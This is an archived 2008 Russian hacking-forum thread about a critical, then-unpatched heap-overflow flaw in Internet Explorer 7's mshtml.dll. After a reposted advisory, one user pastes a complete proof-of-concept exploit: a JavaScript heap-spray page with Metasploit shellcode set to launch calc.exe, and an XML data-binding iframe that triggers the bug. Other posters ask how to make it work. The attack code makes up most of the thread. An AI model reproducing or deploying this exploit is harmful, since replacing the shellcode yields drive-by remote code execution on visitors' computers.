PDA

Просмотр полной версии : Выполнение произвольного кода в Microsoft Internet Explorer 7


denjf
10.12.2008, 19:42
10 декабря, 2008

Программа: Microsoft Internet Explorer 7.x

Опасность: Критическая

Наличие эксплоита: Да

Описание:
Уязвимость позволяет удаленному пользователю скомпрометировать целевую систему.

Уязвимость существует из-за ошибки проверки границ данных при обработке XML тегов в библиотеке mshtml.dll. Удаленный пользователь может с помощью специально сформированного Web сайта вызвать переполнение динамической памяти и выполнить произвольный код на целевой системе.

Примечание: уязвимость активно эксплуатируется в настоящее время.

URL производителя: www.microsoft.com

Решение: Способов устранения уязвимости не существует в настоящее время.

Журнал изменений:

10.12.2008
Изменено описание уязвимости.
10.12.2008
Изменено описание уязвимости. Добавлены новые данные.
10.12.2008
Добавлен PoC код.

Пробуем!!! И помогите разобратся как работает??? Я 2 файла html качнул один из них фрайм! Так как допустим Calc.exe запустить???

nepster
10.12.2008, 20:02
Откуда инфа?

P3L3NG
10.12.2008, 20:04
www.securitylab.ru вроде отсюда

Dimo4ka14
10.12.2008, 20:05
Пробуем!!! И помогите разобратся как работает??? Я 2 файла html качнул один из них фрайм! Так как допустим Calc.exe запустить???

что ты качнул? и что пробывать?

denjf
10.12.2008, 20:08
<html>
<script>

// k`sOSe 12/10/2008 - tested on winxp sp3, explorer 7.0.5730.13

// windows/exec - 141 bytes
// http://www.metasploit.com
// EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u 184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84 ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575 %u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u 018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b 30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850 %u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u 4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u61 63%u636c%u652e%u6578%u4100");
var block = unescape("%u0a0a%u0a0a");
var nops = unescape("%u9090%u9090%u9090");


while (block.length < 81920) block += block;
var memory = new Array();
var i=0;
for (;i<1000;i++) memory[i] += (block + nops + shellcode);

document.write("<iframe src=\"iframe.html\">");

</script>


</html>

первый файл

<html>
<script>

// k`sOSe 12/10/2008 - tested on winxp sp3, explorer 7.0.5730.13

// windows/exec - 141 bytes
// http://www.metasploit.com
// EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u 184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84 ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575 %u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u 018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b 30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850 %u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u 4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u61 63%u636c%u652e%u6578%u4100");
var block = unescape("%u0a0a%u0a0a");
var nops = unescape("%u9090%u9090%u9090");


while (block.length < 81920) block += block;
var memory = new Array();
var i=0;
for (;i<1000;i++) memory[i] += (block + nops + shellcode);

document.write("<iframe src=\"iframe.html\">");

</script>


</html>

и второй.
скачал с www.securitylab.ru

denjf
10.12.2008, 20:10
<XML ID=I>
<X>
<C>
<![CDATA[
<image
SRC=http://ਊਊ.xxxxx.org
>
]]>

</C>
</X>
</XML>

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<XML ID=I>
</XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
</SPAN>
</SPAN>

второй файл

denjf
10.12.2008, 20:11
у меня calc не запустился!!!